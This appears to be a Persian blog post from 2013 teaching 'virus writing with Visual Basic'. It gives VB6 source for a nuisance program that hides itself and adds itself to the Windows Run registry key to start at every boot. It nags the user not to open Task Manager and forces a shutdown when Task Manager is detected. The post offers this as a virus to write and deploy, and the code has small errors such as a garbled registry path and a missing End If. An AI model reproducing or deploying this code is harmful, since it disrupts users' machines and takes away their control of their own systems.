ویروس نویسی با ویژوال بیسیک

تعرفه تبلیغات در سایت
عنوان عکس
عنوان عکس
عنوان عکس
عنوان عکس
عنوان عکس

آرشیو مطالب

جستجوگر

امکانات وب

برچسب ها

دوستان این که یه ویروس ردی از خودش باقی نذاره خیلی مهمه ولی گاهی اوقات آدم دلش میخواد به دلایلی یه نام ونشونی از خودش بذاره که دلایل مختلفی داره .از جمله این که به یارو بفهمونه منم ویروس بلدم بنویسم!!!
ویروس این دفعه بصورتیه که یه اخطار میاد بالا به کاربر میگه فلان کار رو نکن و اگه کاربر این کار رو کرد خب مام میفتیم به جونش دیگه
وسایل لازم: فقط یه تایمر
کدها:
Private Sub Form_Load()
App.TaskVisible = False
timer1.interval=1
Me.Hide
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMICROSOFTWINDOWSCUR RENTVERSIONRUN" & App.EXEName, App.Path & "" & App.EXEName & ".exe"
Timer1.Interval = 1
End Sub
Private Sub Timer1_Timer()
MsgBox "Dont press alt+ctrl+del", vbCritical, "This is not a virus !!"
Dim handel As Long
handel = FindWindow(vbNullString, "Windows Task Manager")
If handel <> 0 Then
Shell "shutdown -s -t 2 "
End Sub

و اما توضیحات:
خیلی ساده . این ویروس ابتدا اخطار میده که Windows Task Manager رو اجرا نکنین و اگه شما این کار رو کردین تابع Shell "shutdown رو اجرا میکنه
نویسنده : بازدید : 398 تاريخ : پنجشنبه 13 تير 1392 ساعت: 20:05
برچسب‌ها :
اخبار و رسانه هاهنر و ادبیاترایانه و اینترنتعلم و فن آوریتجارت و اقتصاداندیشه و مذهبفوتو بلاگوبلاگ و وبلاگ نویسیفرهنگ و تاریخجامعه و سیاستورزشسرگرمی و طنزشخصیخانواده و زندگیسفر و توریسمفارسی زبان در دیگر کشورها